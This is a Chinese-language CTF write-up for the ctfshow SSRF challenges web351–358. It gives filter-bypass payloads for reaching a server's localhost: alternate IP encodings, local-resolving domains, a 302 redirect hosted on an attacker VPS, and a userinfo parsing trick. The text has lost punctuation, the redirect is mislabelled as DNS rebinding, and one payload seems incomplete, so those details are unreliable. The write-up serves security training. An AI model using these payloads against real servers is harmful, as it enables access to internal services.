ctfshow SSRF web351-358

发布时间:2026/7/6 7:23:04

ctfshow SSRF web351-358 web 351接 POST 传参就行web 352参数是 url$x[scheme]http||$x[scheme]https表示只允许用 http 和 https 协议!preg_match(/localhost|127.0.0/)用正则匹配表示不允许出现 localhost 和 127.0.0 的字眼如何绕过 localhost 和 127.0.0.1 访问本地地址呢可以用其他进制代替本地 urlhttp://0.0.0.0/flag.php 十进制 urlhttp://2130706433/flag.php 八进制 urlhttp://0177.0.0.1/flag.php 十六进制 urlhttp://0x7f000001/flag.php 特殊域名 urlhttp://localtest.me/flag.phpweb 353正则匹配表示禁用 localhost 和 127.0 ; i 表示禁用大小写一些绕过方式可以用上道题转其他进制的方式urlhttp://2130706433/flag.php127.0.0.1~127.255.255.254 都表示 localhosturlhttp://127.255.255.254/flag.phpLinux 系统中 0 会被解析成 127.0.0.1在 windows 系统中解析成 0.0.0.0urlhttp://0/flag.php使用 sudo.ccurlhttp://sudo.cc/flag.phpweb 354web 355限制长度5那么前面的那些就不能用了 1.可以使用127.1来绕过。web 356限制长度3urlhttp://0/flag.phpweb 357题目源代码filter_var是 PHP 内置的数据过滤 / 验证函数语法filter_var(要验证的数据, 验证规则, 额外选项)这里它的作用是验证$ip是否是一个合法 IP并且是否符合额外限制FILTER_VALIDATE_IP验证规则判断是否为合法的 IP 地址FILTER_FLAG_NO_PRIV_RANGE额外选项拒绝私有网段 IP如10.0.0.0/8、172.16.0.0/12、192.168.0.0/16FILTER_FLAG_NO_RES_RANGE额外选项拒绝保留 / 回环等特殊网段 IP如127.0.0.0/8、0.0.0.0/8、::1等这是严格的白名单防护我们要使用DNS Rebinding 攻击在自己的 vps 上新建一个 php 文件并写入以下内容?php header(Location: http://127.0.0.1/flag.php, true, 302);?POST 传入参数urlhttp://自己 vps 的 IP/demo.phpweb 358preg_match(/^http:\/\/ctf\..*show$/i,$url)^匹配字符串开头http:\/\/匹配 http://ctf\.匹配 ctf..*匹配任意数量的任意字符show$匹配 show 且必须在字符串末尾payloadurlhttp://ctf.127.0.0.1/flag.php?show之前的部分会被解析为用户名

相关新闻